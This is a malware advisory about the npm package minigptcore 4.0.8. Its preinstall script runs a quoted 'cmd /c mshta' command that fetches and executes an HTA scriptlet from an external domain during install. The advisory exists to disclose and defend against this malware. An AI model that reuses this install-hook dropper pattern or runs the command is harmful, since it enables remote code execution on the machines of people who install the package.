NetSight
criticalMalware report

GHSA-h4gc-c24p-97mw

Malicious code in minigptcore (npm)

Impact

## Source: amazon-inspector (8be3fb8ddeae3078f0765ce77f9a329caacd7ee5741b2c96dcf8f613f5444ba0) On `npm install`, the package's preinstall script (preinstall.js) invokes `cmd /c mshta http://fixars.top/...`, causing Windows mshta.exe to fetch and execute an HTA scriptlet from a hardcoded external domain over plain HTTP. The fetched content is unpinned, unverified, and unrelated to any documented package purpose, and executes with the privileges of the user running `npm install`. package.json ships placeholder metadata (empty author, empty keywords, generic description) consistent with a throwaway upload whose only functional effect is the remote-code-execution dropper. --- Credit: [OpenSSF](https://github.com/ossf/malicious-packages) ([source](https://github.com/ossf/malicious-packages/blob/971638c1653d289f19e56dad186b72239743e788/osv/malicious/npm/minigptcore/MAL-2026-10417.json))

Affected packages

EcosystemPackageAffectedFixed in
npmminigptcore= 4.0.8none recorded

Weakness classification

References